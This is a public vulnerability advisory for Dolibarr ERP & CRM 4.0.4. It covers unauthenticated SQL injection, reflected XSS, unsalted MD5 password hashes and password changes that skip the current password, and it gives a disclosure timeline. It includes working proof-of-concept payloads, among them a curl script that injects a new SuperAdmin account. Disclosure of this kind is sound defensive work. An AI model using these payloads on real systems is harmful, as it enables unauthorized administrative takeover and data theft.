Dolibarr 4.0.4 SQL Injection / XSS / Weaknesses Vulnerabilities

Dolibarr ERP & CRM  - Multiple Issues
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected Versions
=================
Dolibarr 4.0.4

Issue Overview
==============
Vulnerability Type: SQL Injection, Cross Site Scripting,
                    Weak Hash Algorithm without Salt, Weak Password Change Method
Technical Risk: critical
Likelihood of Exploitation: medium
Vendor: Dolibarr
Vendor URL: https://www.dolibarr.org/
Credits: FOXMOLE employees Tim Herres and Stefan Pietsch
Advisory URL: https://www.foxmole.com/advisories/foxmole-2017-02-23.txt
Advisory Status: Public
OVE-ID: OVE-20170223-0001
CVE Number: CVE-2017-7886, CVE-2017-7887, CVE-2017-7888
CVE URL: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7886
         https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7887
         https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7888
CWE-ID: CWE-79, CWE-89, CWE-327, CWE-620, CWE-759
CVSS 2.0: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)


Impact
======
There are SQL injection vulnerabilities, exploitable without authentication.
An attacker could use the SQL Injection to access the database in an unsafe way.
This means there is a high impact to all Dolibarr installations.
The passwords in the database are stored as MD5 hashes which means they are easily crackable.
The Dolibarr software also lacks input validation resulting in different reflected XSS vulnerabilities.

Information
===========
We only provide examples for issues, there are quite more.
It is really important to check the whole application for further vulnerabilities.
We want that developers change the overall security according to security best
practices instead of fixing only particular issues.

Issue Description
=================

All items tested using FF52.

1.) SQL Injection in style.css.php (CVE-2017-7886)
Authentication Required:No

PoC:
http://192.168.241.143/doli/theme/eldy/style.css.php?lang=de%27%20procedure%20analyse(extractvalue(rand()%2cconcat(concat(0x3a,CURRENT_USER())))%2c1)--%201


PoC creating a new admin user via SQL Injection:

##################################################################################
#!/bin/bash
URL="http://192.168.19.19/theme/eldy/style.css.php?lang=de%27%3BINSERT%20INTO%20\
llx_user%20VALUES%20(424242%2C%200%2C%20NULL%2C%20NULL%2C%201%2C%200%2C%20%27\
1984-01-01%2000%3A00%3A00%27%2C%20%271984-01-01%2000%3A00%3A00.000%27%2C%20NULL\
%2C%20NULL%2C%20%27newadmin%27%2C%20NULL%2C%20%2761529519452809720693702583126814\
%27%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20NULL%2C%20%27SuperAdmin%27%2C%20%27%27\
%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20%27\
%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%201%2C%201%2C\
%201%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20%27\
2017-03-10%2000%3A00%3A00%27%2C%20%272017-03-10%2000%3A00%3A00%27%2C%20NULL%2C\
%20%27%27%2C%20NULL%2C%201%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20NULL%2C%200%2C\
%20%27%27%2C%200%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL)%3B--%27"

curl -s ${URL}
##################################################################################

The script creates the user 'NEWADMIN' with password 'ximaz'.


2.) Cross Site Scripting Reflected (CVE-2017-7887)
http://192.168.241.143/doli/societe/list.php?sall=asd%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E

3.) Passwords stored using MD5 hashes (CVE-2017-7888)
The application stored the passwords using the MD5 hash algorithm without a
salt. The MD5 hash is easily crackable.

dolibarr=# SELECT login,pass_crypted FROM llx_user;
 login |           pass_crypted
-------+----------------------------------
 admin | 21232f297a57a5a743894a0e4a801fc3

4.) Unsafe password change method
A user can change his password without entering the recent one.



Temporary Workaround and Fix
============================
FOXMOLE advises to restrict the access to all vulnerable Dolibarr systems until all vulnerabilities are fixed.



History
=======
2017-02-15  Issue discovered
2017-03-06  Vendor contacted
2017-03-27  informed Vendor about disclosure date (2017-05-10)
2017-04-18  added CVE Numbers
2017-05-10  Advisory Release

#  0day.today [2018-03-09]  #